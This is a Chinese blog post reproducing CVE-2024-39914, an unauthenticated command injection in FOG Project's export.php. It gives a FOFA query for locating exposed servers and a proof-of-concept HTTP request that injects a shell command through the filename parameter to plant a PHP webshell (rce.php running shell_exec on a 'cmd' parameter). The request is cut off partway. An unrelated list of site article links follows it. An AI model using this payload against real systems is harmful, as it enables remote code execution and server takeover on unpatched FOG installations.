FOG Project 文件名命令注入漏洞复现(CVE-2024-39914)

0x01 产品简介

FOG是一个开源的计算机镜像解决方案,旨在帮助管理员轻松地部署、维护和克隆大量计算机。FOG Project 提供了一套功能强大的工具,使用户能够快速部署操作系统、软件和配置设置到多台计算机上,从而节省时间和精力。该项目支持基于网络的 PXE 启动、镜像创建和还原、硬件和软件清单管理、远程控制和监视等功能,为 IT 管理员和系统管理员提供了一个全面的工具集。

0x02 漏洞概述

该漏洞在FOGPROJECT中的packages/web/lib/fog/reportmaker.class.php文件受到命令注入漏洞的影响,该漏洞存在于/fog/management/export.php的filename参数,未经身份验证的远程攻击者可利用此漏洞执行任意命令,获取服务器权限。

0x03 影响范围

FOGPROJECT < 1.5.10.34

0x04 复现环境

FOFA:body="FOG Project"

0x05 漏洞复现

PoC

写入Webshell

POST /fog/management/export.php?filename=$(echo+'<?php+echo+shell_exec($_GET['"'cmd'"']);+?>'+>+rce.php)&type=pdf HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-18 23:48:01       67 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-18 23:48:01       72 阅读
  3. 在Django里面运行非项目文件

    2024-07-18 23:48:01       58 阅读
  4. Python语言-面向对象

    2024-07-18 23:48:01       69 阅读

热门阅读

  1. SQL FOREIGN KEY

    2024-07-18 23:48:01       19 阅读
  2. MySQL——在查询中使用关键字

    2024-07-18 23:48:01       21 阅读
  3. 确定Python 数据的数据结构

    2024-07-18 23:48:01       23 阅读
  4. 深入了解Memcached:缓存技术的利器

    2024-07-18 23:48:01       24 阅读
  5. antlr4私人学习笔记

    2024-07-18 23:48:01       18 阅读
  6. python的with语句

    2024-07-18 23:48:01       23 阅读
  7. Context使用

    2024-07-18 23:48:01       21 阅读
  8. 2024年5月份架构师考试案例真题完整版

    2024-07-18 23:48:01       21 阅读
  9. C语言 default 踩坑

    2024-07-18 23:48:01       22 阅读
  10. 使用Python批量压缩图片

    2024-07-18 23:48:01       24 阅读
  11. 快速log10函数 fast_log10

    2024-07-18 23:48:01       21 阅读
  12. Linux 日志管理与系统调优补充

    2024-07-18 23:48:01       24 阅读